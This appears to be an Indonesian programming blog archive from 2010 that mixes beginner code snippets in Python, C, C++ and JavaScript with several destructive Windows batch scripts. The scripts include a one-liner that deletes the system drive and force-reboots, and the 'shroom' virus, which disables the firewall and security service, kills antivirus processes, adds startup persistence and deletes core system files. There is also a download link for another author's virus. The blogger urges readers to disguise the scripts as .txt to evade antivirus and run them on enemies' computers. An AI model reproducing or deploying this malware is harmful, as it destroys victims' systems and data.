Tampilkan postingan dengan label snippets. Tampilkan semua postingan
Tampilkan postingan dengan label snippets. Tampilkan semua postingan

sudah lama gak nulis snippets lagi, kali ini saya akan menunjukkan penggunaan fungsi time yang sederhana, bila waktu yang ditunjukkan sesuai ketentuan yang ditetapkan. ia akan mencetak keterangan. berikut kodenya










#program kegiatanku

import time
now = time.localtime()
hour = now.tm_hour

if hour < 8: print "tidur"
elif hour < 9: print "kerja"
elif hour < 17: print "nyantai"
elif hour < 18: print "hang out"
elif hour < 20: print "makan"
elif hour < 22: print "nyantai"
else: print "tidur"

Diposting oleh Unknown Senin, 29 Maret 2010 0 komentar

skrip sederhana namun cukup fatal, karena menghapus drive system dari OS


del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00 
 





PC Clean Machine Personal PC Concierge Service

Diposting oleh Unknown Minggu, 14 Maret 2010 2 komentar

satu lagi virus batch yang mengerikan. buatan LaughingMan (LaughingMan@hackforums.net)

sorry karena kodenya kepanjangan. jadi terpaksa tidak bisa saya tampilkan disini. silahkan download dari link ini

http://www.ziddu.com/download/8961752/virus.txt.html

setelah di download. ganti ekstensinya dari .txt menjadi .bat

Diposting oleh Unknown 0 komentar

bila pada postingan sebelumnya kita hanya membuat virus iseng, kini saatnya untuk membuat sesuatu yang lebih serius. dia menghapus beberapa file - file penting dan menghentikan proses beberapa antivirus dan sebagainya


catatan: ketika saya tes. antivirus saya(avira) langsung menyalak ketika virus ini selesai dibuat(belum di jalankan). lalu bagaimana solusinya? saran saya, simpan virus ini dengan ekstensi .txt dulu. baru setelah di komputer korban kita ubah menjadi .bat. dan jangan lupa virus ini bernama shroom




start
color 5
title Your Fucked, lol
time 12:00
net stop "Security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
start
echo copy %0 >> c:\autoexec.bat
copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat
Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg
start c:\regstart.reg
copy %0 %systemroot%\shroom.bat > nul
start
copy %0 *.bat > nul
start
attrib +r +h virus.bat
attrib +r +h
RUNDLL32 USER32.DLL,SwapMouseButton
tskill msnmsgr
tskill Limewire
tskill iexplorer
tskill NMain
tskill Firefox
tskill explorer
tskill AVGUARD
msg * Awww Your computer is now fucked
msg * You got owned!
msg * Say Bye to your computer n00b
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
del "C:\WINDOWS\pchealth\"
del "C:\WINDOWS\system\"
del "C:\WINDOWS\system32\restore\"
del "C:\WINDOWS\system32\logonui.exe"
del "C:\WINDOWS\system32\ntoskrnl.exe"
del "Winlogon.exe"
ERASE c:
start
shutdown - s -t 15 -c "15 Seconds and counting"
cd %userprofile%\Desktop
copy fixvirus.bat %userprofile%\Desktop
echo HAXHAXHAX
:LOOP
color 17
color 28
color 32
color 22
color 11
color 02
color 39
color 34
GOTO LOOP


Diposting oleh Unknown 1 komentar

siapa bilang membuat virus itu susah? hanya dengan mengandalkan notepad saja kita sebenarnya sudah bisa merusak windows, menghapus file, menyedot memory bahkan membuat buffer over flows


disini saya hanya membuat sebuah virus iseng saja... dimana virus ini akan membuat copy dari semua file yang ada di directory "C:windows" (pernah menghitung berapa banyak file di direktory tersebut?) dan virus ini tak akan terdeteksi oleh anti virus, karena dia hanyalah sebuah batch file


punya dendam dengan seseorang? buat virus ini dan jalankan di komputer milik musuhmu. dan tertawalah sekeras - kerasnya....


catatan : jangan jalankan / klik virus ini di komputermu sendiri(jangan lakukan hal bodoh OK?)










@echo off
@echo off
title I LIKE PRETTY COLORS!
:1
echo DONT YOU LOVE PRETTY COLORS!!
echo PLEASE JUST TAKE LIKE 20 SECONDS TO ADMIRE!!!
start mspaint.exe>nul
start cmd.exe>nul
copy "C:\Program Files">nul
copy "C:\Windows">nul
copy C:\WINDOWS\addins>nul
copy C:\WINDOWS\system32>nul
copy C:\WINDOWS\system>nul
color 21
color 12
color 43
color 34
goto :1

Diposting oleh Unknown 2 komentar

inti dari program ini sama seperti di postingan saya sebelumnya program penghitung uang pecahan dengan python tapi kali ini kodenya saya ubah di C. berikut ni kodenya










#include <stdio.h>
/*program penghitung pecahan*/

int main(){
int jumlah, hasil, sisa;

/*user input*/
printf ("selamat datang di program penghitung pecahan \n");
printf ("masukkan jumlah pecahan ");
scanf ("%d", &jumlah);

/*mulai proses*/
hasil=jumlah/100000;
sisa=jumlah%100000;
printf ("jumlah uang pecahan anda: \n");
printf ("%d", hasil); printf(" seratusribuan \n");
if (sisa>=50000){
hasil=sisa/50000;
sisa=sisa%50000;
printf("%d", hasil); printf(" limapuluhribuan \n");
}
if (sisa>=20000){
hasil=sisa/20000;
sisa=sisa%20000;
printf("%d", hasil); printf(" duapuluhribuan \n");
}
if (sisa>=10000){
hasil=sisa/10000;
sisa=sisa%10000;
printf("%d", hasil); printf(" sepuluhribuan \n");
}
if (sisa>=5000){
hasil=sisa/5000;
sisa=sisa%5000;
printf("%d", hasil); printf(" limaribuan \n");
}
if (sisa>=1000){
hasil=sisa/1000;
sisa=sisa%1000;
printf("%d", hasil); printf (" seribuan \n");
}
if (sisa>=500){
hasil=sisa/500;
sisa=sisa%500;
printf("%d", hasil); printf (" limaratusan \n");
}
if (sisa>=100){
hasil=sisa/100;
sisa=sisa%100;
printf("%d", hasil); printf (" seratusan \n");
}
getchar();
return 0;
}


Diposting oleh Unknown Selasa, 09 Maret 2010 0 komentar

setelah mengunjungi allaboutalgoritma, saya tertarik sewaktu melihat kode program penghitung pecahannya, dan saya mengubahnya ke python. disini saya tak memakai terlalu banyak variabel, hanya memakai percabangan IF yang banyak (yang memang sepertinya dibutuhkan). berikut ini kodenya










#program penghitung uang pecahan

print "selamat datang di program penghitung uang pecahan"

jumlah = input("jumlah uang anda")
hasil=jumlah/100000
sisa=jumlah%100000
print "jumlah uang pecahan anda"
print hasil, "seratusribuan"
if (sisa>=50000):
hasil=sisa/50000
sisa=sisa%50000
print hasil, "limapuluhribuan"
if (sisa>=20000):
hasil=sisa/20000
sisa=sisa%20000
print hasil, "duapuluhribuan"
if (sisa>=10000):
hasil=sisa/10000
sisa=sisa%10000
print hasil, "sepuluhribuan"
if (sisa>=5000):
hasil=sisa/5000
sisa=sisa%5000
print hasil, "limaribuan"
if (sisa>=1000):
hasil=sisa/1000
sisa=sisa%1000
print hasil, "seribuan"
if (sisa>=500):
hasil=sisa/500
sisa=sisa%500
print hasil, "limaratusan"
if (sisa>=100):
hasil=sisa/100
sisa=sisa%100
print hasil, "seratusan"
else:
print "rupiah"

Diposting oleh Unknown 2 komentar

disini saya akan mencoba membandingkan C, C++, dan python dalam operasi IF, yang saya ingin bandingkan disini adalah keringkasan kode dan juga kemudahan untuk dipahami.


proses logika IF yang dipakai untuk perbandingan disini akan mempunyai ketentuan sebagai berikut



  1. membuat 2 variabel, yaitu "a" dan "b"

  2. meminta input untuk nilai "a" dan "b"

  3. membandingkan nilai "a" dan "b", apakah lebih besar, lebih kecil, atau sama dengan

  4. memberikan output


pertama dari python










a=input("nilai a")
b=input("nilai b")

if a<b:
print a, "lebih kecil dari ", b
elif a==b:
print a, "sama dengan ", b
else:
print a, "lebih besar dari ", b

yang kedua, kode dari C










#include <stdio.h />

int main(){
int a, b;

printf("input a ");
scanf("%d", &a);
printf("input b ");
scanf("%d", &b);

if (a<b){
printf("%d %s %d", a, " lebih kecil dari ", b);
}
else if (a==b){
printf("%d %s %d", a, " sama dengan ", b);
}
else {
printf("%d %s %d", a, " lebih besar dari ", b);
}

getchar();
return 0;
}

dan yang terakhir dari C++










#include <iostream>

using namespace std;

int main(){

int a, b;

cout<<"input a ";
cin>>a;
cout<<"input b ";
cin>>b;
cin.ignore();

if (a<b){
cout<<a<<" lebih kecil dari "<< b;
}
else if (a==b){
cout<< a<<" sama dengan "<< b;
}
else{
cout<<a<<" lebih kecil dari "<< b;
}

cin.get();
return 1;
}

bisa dilihat dari ketiga kode di atas, python yang lebih ringkas. mungkin sebagian dari anda akan berkata ini tidak adil, karena python bukan compiled language. tapi ijinkan saya menjelaskan dari sudut pandang seorang amatiran (maklum saya barusan belajar), C dan C++ mengandung apa yang saya sebut kerumitan yang tidak perlu. contohnya : deklarasi variabel dan pengaturan parentheses (saya berkali - kali salah di dua hal ini). dan yang paling saya benci adalah C++. karena terlalu banyak memakai tanda "<" dan">", membuat saya repot dalam menulis artikel ini dimana saya harus mengganti tanda"<" dengan &lt;, dan tanda ">" dengan &gt; sesuai dengan aturan penulisan HTML


untuk sesama pemula saya lebih menyarankan python karena lebih simpel dan mudah dipahami. yang perlu diperhatikan adalah pengaturan baris dan identasi. dan untuk para master, kalau ada yang salah dengan kode saya, atau anda mempunyai solusi yang lebih ringkas untuk C dan C++ bisa memberitahukannya pada saya (khan saya mau belajar juga)


walaupun python lebih ringkas dan mudah dipahami, saya tetap akan mempelajari C dan C++ juga. karena mayoritas program dan aplikasi dibuat dengan bahasa ini. untuk ke depannya saya juga ingin belajar java dan javascript (banyak sekali bukan?)

Diposting oleh Unknown Senin, 08 Maret 2010 0 komentar

berikut adalah program penghitung umur sederhana dengan C++. pertama - tama, program akan menanyakan nama pengguna. lalumeminta input dari pengguna. dan yang terakhir, memberi komentar










#include <iostream>
//age counter program

using namespace std;

int main()
{
//variable declaration
char name[32];
int bday, bmonth, byear;
int tday, tmonth, tyear;
int bdate, tdate;
int day, month, year;

//input process
cout<<"who are you? ";
cin>> name;

//input birth
cout<<"input birth day ";
cin>> bday;
cout<<"input birth month ";
cin>> bmonth;
cout<<"input birth year ";
cin>> byear;

//input recent
cout<<"input recent day ";
cin>> tday;
cout<<"input recent month ";
cin>> tmonth;
cout<<"input recent year ";
cin>> tyear;
cin.ignore();

//algorythm processing
bdate=bday+(bmonth*30)+(byear*365);
tdate=tday+(tmonth*30)+(tyear*365);

//result processing
day=(tdate-bdate)%365%30;
month=(tdate-bdate)%365/30;
year=(tdate-bdate)/365;

//result
cout<< name;
cout<< ","<< day<<","<< month<< ","<<year;

//commentation
if (year<=5){
cout<<" you're still baby";
}
else if (year<=17){
cout<<" you're still young";
}
else if (year<=40){
cout<<" you're an adult";
}
else if (year<=99){
cout<<" you're old enough";
}
else {
cout<<" are you serious?";
}

cin.get();
return 1;
}


Diposting oleh Unknown 0 komentar

berikut adalah program penghitung umur sederhana dengan bahasa C, program ini akan menanyakan nama user, lalu meminta input tanggal lahir dan sekarang, sekaligus memberi komentar










#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*age counter program*/

int main()
{
/*variable declaration*/
char name[32];
int bday, bmonth, byear;
int tday, tmonth, tyear;
int tdate, bdate;
int day, month, year;

/*user input*/
printf ("who are you \n");
scanf ("%s[^\n]", name);

/*input birth day*/
printf ("input birth day \n");
scanf ("%d", &bday);
printf ("input birth month \n");
scanf ("%d", &bmonth);
printf ("input birth year \n");
scanf ("%d", &byear);

/*input recent day*/
printf ("input recent day \n");
scanf ("%d", &tday);
printf ("input recent month \n");
scanf ("%d", &tmonth);
printf ("input recent year \n");
scanf ("%d", &tyear);

/*algorhytm processing*/
bdate=bday+(bmonth*30)+(byear*365);
tdate=tday+(tmonth*30)+(tyear*365);

/*result processing*/
year=(tdate-bdate)/365;
month=(tdate-bdate)%365/30;
day=(tdate-tmonth)%365%30;

/*result*/
printf("%s %d %d %d", name, day, month, year);

/*comment about age*/
if (year <= 5) {
printf ("\n you're still baby \n");
}
else if (year <= 17) {
printf ("\n you're still young\n");
}
else if (year <= 40) {
printf ("\n you're an adult \n");
}
else if (year <= 99) {
printf ("\n you're old enough \n");
}
else {
printf ("\n are you serious? \n");
}


getchar();
return 0;
}

Diposting oleh Unknown 0 komentar

berikut ini program Hello World dengan bahasa C. walaupun sudah banyak yang membahasnya, tapi tak ada salahnya kalau sekedar sharing khan???










#include <stdio.h>

int main()
{
printf ("Hello world!");
getchar();
return 0;
}

Diposting oleh Unknown 0 komentar

ada tradisi di dunia pemrograman, setiap orang yang belajar pemrograman harus membuat program hello world terlebih dahulu, sekedar ikut meneruskan tradisi tersebut. berikut adalah kode Hello World dengan C++










#include <iostream>

using namespace std;

int main()
{
cout<<"Hello World!\n";
cin.get();
}

Diposting oleh Unknown Minggu, 07 Maret 2010 0 komentar

contoh dialog box ini akan memunculkan "pop up" yang akan menampilkan pesan, meminta konfirmasi, input user, lalu mengarahkannya ke halaman lain. selamat mencoba










<html>

<head>

<script type="text/javascript">
alert("Selamat datang!")
var answer=confirm("masuk ke websiteku?")
if (answer)
window.location=http://suryaadinugraha.blogspot.com
</script>

</head>

<body>

<script"text/javascript">
var answer=prompt("siapakah anda?")
alert("Hallo "+answer)
</script>

</body>

</html>

Diposting oleh Unknown Sabtu, 06 Maret 2010 3 komentar

ini adalah pelajaran dasar dalam pemrograman GUI. yaitu kita harus berhasil membuat sebuah window kosong. ini mirip dengan pemrograman Hello world, cuma yang kita tampilkan disini adalah sebuah window kosong












import wx

class aplikasi(wx.App):
def OnInit(self):
self.frame=wx.Frame(None)
self.frame.Show()
self.SetTopWindow(self.frame)
return True

AplikasiKu=aplikasi()
AplikasiKu.MainLoop

nanti hasilnya seperti gambar di bawah ini


windowpy.GIF

Diposting oleh Unknown Jumat, 05 Maret 2010 0 komentar

berikut ini adalah calculator yang dibuat dengan wxpython yang dikutip dari http://pythonwise.blogspot.com/2006/05/wxpython-calculator-in-50-lines-of.html , dan ditulis oleh Miki Tebeka












from __future__ import division

__author__ = "Miki Tebeka
"
__version__ = "0.0.2"

# Calculator GUI:

# ___________v
# [7][8][9][/]
# [4][5][6][*]
# [1][2][3][-]
# [0][.][C][+]
# [ = ]

import wx
# So we can evaluate "sqrt(8)"
from math import *

class Calculator(wx.Dialog):
'''Main calculator dialog'''
def __init__(self):
title = "Calculator version %s" % __version__
wx.Dialog.__init__(self, None, -1, title)
sizer = wx.BoxSizer(wx.VERTICAL) # Main vertical sizer

# ____________v
self.display = wx.ComboBox(self, -1) # Current calculation
sizer.Add(self.display, 0, wx.EXPAND) # Add to main sizer

# [7][8][9][/]
# [4][5][6][*]
# [1][2][3][-]
# [0][.][C][+]
gsizer = wx.GridSizer(4, 4)
for row in (("7", "8", "9", "/"),
("4", "5", "6", "*"),
("1", "2", "3", "-"),
("0", ".", "C", "+")):
for label in row:
b = wx.Button(self, -1, label)
gsizer.Add(b)
self.Bind(wx.EVT_BUTTON, self.OnButton, b)
sizer.Add(gsizer, 1, wx.EXPAND)

# [ = ]
b = wx.Button(self, -1, "=")
self.Bind(wx.EVT_BUTTON, self.OnButton, b)
sizer.Add(b, 0, wx.EXPAND)
self.equal = b

# Set sizer and center
self.SetSizer(sizer)
sizer.Fit(self)
self.CenterOnScreen()

def OnButton(self, evt):
'''Handle button click event'''
# Get title of clicked button
label = evt.GetEventObject().GetLabel()

if label == "=": # Calculate
try:
compute = self.display.GetValue()
# Ignore empty calculation
if not compute.strip():
return

# Calculate result
result = eval(compute)

# Add to history
self.display.Insert(compute, 0)

# Show result
self.display.SetValue(str(result))
except Exception, e:
wx.LogError(str(e))
return

elif label == "C": # Clear
self.display.SetValue("")

else: # Just add button text to current calculation
self.display.SetValue(self.display.GetValue() + label)
self.equal.SetFocus() # Set the [=] button in focus

if __name__ == "__main__":
# Run the application
app = wx.PySimpleApp()
dlg = Calculator()
dlg.ShowModal()
dlg.Destroy()


calc.jpg

Diposting oleh Unknown 0 komentar

berikut ini adalah program untuk menghitung umur yang sangat sederhana dari saya, program ini akan bertanya pada pengguna mulai dari nama hingga tanggal lahir, dan juga memberi komentar tentang umur pengguna, berikut kodenya









'''program penghitung umur'''

#nama pengguna
nama = raw_input ("siapakah anda?")

#tanggal lahir dari pengguna semuanya dalam angka
tlahir = input ("tanggal kelahiran")
blahir = input ("bulan kelahiran")
dlahir = input ("tahun kelahiran")
lahir = tlahir + (blahir * 30) + (dlahir * 365)

#tanggal aktual
taktual = input ("tanggal saat ini")
baktual = input ("bulan saat ini")
daktual = input ("tahun saat ini")
aktual = taktual + (baktual * 30) + (daktual * 365)

#memulai proses kalkulasi
tahun = (aktual - lahir) / 365
bulan = ((aktual - lahir) % 365) / 30
hari = ((aktual - lahir) % 365) % 30

#tampilkan hasil
print "hallo", nama, "anda berumur :",
print hari, "hari", bulan, "bulan", tahun, "tahun"

'''tambahan untuk komentar'''
if tahun <= 5:
print "anda masih balita"
elif tahun <= 17:
print "anda masih remaja"
elif tahun <= 45:
print "anda sudah dewasa"
elif tahun <= 99:
print "anda sudah tua"
else :
"anda keterlaluan"


Diposting oleh Unknown Minggu, 28 Februari 2010 1 komentar

Subscribe here